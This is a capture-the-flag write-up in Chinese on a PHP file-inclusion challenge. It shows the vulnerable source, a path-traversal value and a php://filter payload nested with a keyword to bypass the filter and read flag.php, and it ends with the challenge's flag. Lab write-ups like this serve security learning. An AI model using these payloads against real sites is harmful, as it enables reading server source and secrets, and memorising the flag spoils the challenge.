[BUUOJ記錄] [BSidesCF 2020]Had a bad day


主要考察文件包含以及php://filter偽協議的一個小trick。題目很簡單,但是因為不知道這個trick卡了很久,記錄一下

進入題目看到有兩個按鈕,沒有其他信息:

點擊按鈕顯示出來一張圖片,然后發現URL變成了:

http://0d01386f-60a4-4890-9723-b12f3a9eb35c.node3.buuoj.cn/index.php?category=woofers

懷疑是SQL注入或者是文件包含,隨便輸入一個值返回了PHP報錯:

 確定是文件包含漏洞,直接包含/flag發現包含不到,先用php://filter偽協議讀一下index.php源碼看看:

php://filter/read=convert.base64-encode/resource=index

(這里構造成php://filter/read=convert.base64-encode/resource=index.php是會報錯的,因為后端給文件后拼接了“.php”)

得到index.php源碼:

......<以上HTML省略>
<?php
  $file = $_GET['category'];
  
  if(isset($file))
  {
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){   //必須含有woofers或meowersindex字符串
      include ($file . '.php');  //參數后拼接.php
    }
    else{
      echo "Sorry, we currently only support woofers and meowers.";
    }
  }
?>
......<以下HTML省略>

利用include函數特性包含一下flag.php文件試試:

index.php?category=woofers/../flag

發現源碼中多出了一些東西,說明flag.php被包含了進去:

 

接下來的問題就是如何讀取到flag.php的源碼。

這里卡了好久,后來請教了幾位師傅才知道php://filter偽協議可以套一層協議,就像:

php://filter/read=convert.base64-encode/woofers/resource=index

這樣提交的參數既包含有woofers這個字符串,也不會影響正常的包含,得到Flag.php:

解碼得到Flag:

<!-- Can you read this flag? -->
<?php
 // flag{a4aaba40-84f9-4b7a-b269-d025b03676a1}
?>

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM